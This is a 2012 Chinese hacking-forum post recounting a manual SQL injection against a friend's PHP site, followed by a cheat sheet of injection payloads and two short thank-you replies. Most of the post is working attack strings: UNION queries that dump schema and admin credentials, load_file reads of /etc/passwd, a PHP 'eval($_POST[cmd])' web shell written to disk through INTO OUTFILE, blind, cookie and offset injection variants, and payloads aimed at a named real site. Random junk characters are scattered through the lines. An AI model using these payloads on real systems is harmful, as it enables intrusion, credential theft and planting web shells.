找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3103|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
5 t% e. F0 H9 ]) }: g5 d让我看看,既然人家开口了,我也不好拒绝,那就看看吧?$ r3 u& B# Q+ }7 M/ R* f0 _8 }
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。4 K5 B$ c: Q1 U1 M* |9 _! m
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。): u$ r; l# b0 n( ~
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
5 \0 T, [0 Q. p8 @这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
; J4 k( k( C- h0 V+ P* {Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
- y% `7 {' Z) s& `/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
% @+ k1 I: M, w" k                         ' H8 ?# O3 [! `
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
' r- t* R. m6 C! \( Z3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
+ O8 h# O: N. |4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
" g& j6 [; F" M% [5 A; \' y5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
3 ^9 u, {, m1 A% o1 ?" O有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,- `8 C2 ~5 c! G
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
) E, c6 Z/ ?. I6 r我就用的是第二个思路,
/ J/ e# C- p# g: A* p提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
, ]' D' b) d( Z$ I0 d6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,) B6 A  ^1 }7 X9 Y
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--6 V; ^  A- Y" q; k  e
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
/ W! k7 E6 P% _$ j6 x# t4 q. y( c7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????6 ?/ L# q# Y/ N( d7 ]9 I' c% _1 C6 L/ [
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
+ G6 f8 v0 O) ]) E提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
( r3 g3 s0 b, M( _) f4 {然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
# O9 K, N- t# k/ O8 s# Z# r. T调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
  k$ B- h$ u( d* r0 @下面是一些很普遍注入方式资料:
/ L- J& X* ^# U3 ]注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
7 T# {7 X8 r& o5 s' G拆半法
" g3 ?- l  H* W; S$ z" s( V$ x3 L######################################
/ Y7 W# H% z) R1 Mand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。; k% c# ?) x0 t1 h8 N  `
and exists (select * from admin)
  ?; U4 X: G% a6 u/ V) aand exists(select id from admin)
/ Y9 l7 r' a5 K6 i% R1 b2 oand exists(select id from admin where id=1)! t) x+ M) ~" `1 p# Q
and exists(select id from admin where id>1) 0 C( j* X9 P7 h5 l! r5 a) a
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
$ a6 L$ Q8 I( y" R) Yand exists (select username from admin)* e+ U9 w9 D1 I8 _! _0 {
and exists (select password from admin)
2 |! r5 B6 O; s! Qand exists (select id from admin where len(username)<10 and id=1)  O* i# W, s9 D* B
and exists (select id from admin where len(username)>5 and id=1): ~9 c! O9 n" P  F5 Q
and exists (select id from admin where len(username)=6 and id=1)
; i+ N5 f: G4 o+ V. C6 qand exists (select id from admin where len(password)<10 and id=1)
! s/ k0 _0 p" band exists (select id from admin where len(password)>5 and id=1)5 ?9 W3 A* ~' v
and exists (select id from admin where len(password)=7 and id=1)
  t/ W) @& v- m) y' ^and (select top 1 asc(mid(username,1,1)) from admin)=97+ g' y8 `; ^8 k: Q7 s7 j% T
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。* g1 x, Q" i( H
猜第二位把username,1,1改成username,2,1就可以了。
7 h0 W2 K/ N3 U  @7 Z( B猜密码把username改成password就OK了: l* @9 |4 Z+ c( n* A+ k
##################################################
( k8 u, @% z3 o7 j* x! @- u搜索型注入
9 s2 f$ g. ?( R; \8 o##################################1 c" e9 v! ~/ N, Z/ X
%' and 1=1 and '%'='4 m3 l* K4 h1 a. Q% a1 a! B
%' and exists (select * from admin) and '%'='
/ T3 D  \! g+ m%' and exists(select id from admin where id=1) and '%'='
8 Y* U' b, M' z+ C7 y%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
1 X* C2 {6 R6 B$ _& _%' and exists (select id from admin where len(password)=7 and id=1) and '%'='6 Z4 F4 y7 e  U2 U1 p
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='# l- [) m  d* ^
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
9 U& B5 [( G1 X- E% s7 z$ z对于MSSQL数据库,后面可以吧 and '%'='换成--* `' ]& m2 Q4 |" [: [
还有一点搜索型注入也可以使用union语句。* K: p6 R8 {4 U$ H5 t
########################################################
5 W6 S, e0 K8 q8 L( c* n联合查询。
# i6 c$ z% h5 ?8 R/ t#####################################& V- F; k% K6 w2 S; Y
order by 10
8 \5 \2 i! B$ r  H! v1 ^6 a. f1 Oand 1=2 union select 1,2,3,4,5,6,7,8,9,10
3 w2 b3 e5 y; N  f7 ?1 t% H* y% v4 gand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
3 x. t8 N# b, Z* {' x( Cand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=19 W+ }5 q5 j; k% \3 g
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)  x; e  r/ ~- e$ r
###################################6 n/ D  s8 e4 [
cookie注入
( c2 G! w) u  E3 t- O###############################
' u7 D8 Q$ H+ Shttp://www.******.com/shownews.asp?id=127
: o% C7 B" ]  C6 K' t% shttp://www.******.com/shownews.asp
7 W  V! @- W; R% Nalert(="id="+escape("127"));
2 ^+ R0 o% [9 t3 i& Q4 R# @7 Ualert(="id="+escape("127 and 1=1"));, D* p4 m% C! F8 }0 \/ h
alert(="id="+escape("127 order by 10"));# G& x7 {: X6 G; g! c5 n$ [! y
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));2 y/ d7 O; Z, r4 O2 N. j  r, ?
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
. @: U- H7 v( O4 _5 |这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
$ k; X1 x, C7 d6 t) g/ q9 f###################################7 [6 `' m4 @! N# m
偏移注入
$ |# Z$ P0 b+ G) K$ m###########################################################
' a, F$ o. v) I- y; M* S" `union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
# k' V1 _4 ]6 \7 h& hunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
2 G: W  V4 [2 D/ uunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)# N# c5 c* `( d, U2 I- x% I
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)# e% T4 z; O1 b" f: h  \
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
* E  E7 w, M4 H/ N! Punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)! M1 L2 A2 X. L* V: f" r+ B
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
$ J1 ^4 E* N3 m4 ea.id=d.id)- b5 S% \7 ?! z7 |
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
, k/ Y! b$ v0 ~2 Cand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) # X& A7 H) G+ X, J! @5 p
  9 s# Z" X. D2 l5 v" |2 p
============================================================================================================2 }& Q4 N4 S/ a. J$ c8 Q
1.判断版本
% a% V: Z% j" L# \( {and ord(mid(version(),1,1))>51
. L  T6 l# G- ?4 Z返回正常,说明大于4.0版本,支持ounion查询
4 \0 ]1 j# W' f. h2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
# G' Z# U0 A/ ]6 mand 2=4 union select 1,2,3,4,5,6,7,8,9--( g/ J. t7 q9 K# ~1 G8 t) H
3.查看数据库版本及当前用户,
: S  w$ b6 I  a) X+ l% ^( f+ Xand 2=4 union select 1,user(),version(),4,5,6,7,8,9--* e! p# J0 S' m9 B9 x5 \
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
' d1 }2 g7 {) ?7 P. e- `4.判断有没有写权限
/ s8 ]( e( q- s8 @and (select count(*) from MySQL.user)>0--
7 \9 B7 Y3 e' Z( V6 ]  K4 |5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
: G1 R8 j& V3 g4 @- o用不了这个命令,就学习土耳其黑客手法,如下
4 y1 o' s$ g) R  X$ A. Mand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--. u# W$ q7 y% `( V* K) E7 d
6.爆表,爆库+ g" P& S6 a% k) T2 E7 G( X# h
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--- h) X& \( e5 G( Z/ x
7.爆列名,爆表$ x" H9 T# J+ f7 \4 I
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
" r, t* K+ T& b, c9 W* Y. x3 L8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
0 `) j: n1 r9 m2 |" a3 Rand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--' n# J- h, [! t! y1 I. W# v
9.爆字段内容
# {' Q7 p9 L  _and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--2 I7 r* y$ o; _/ K3 c
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表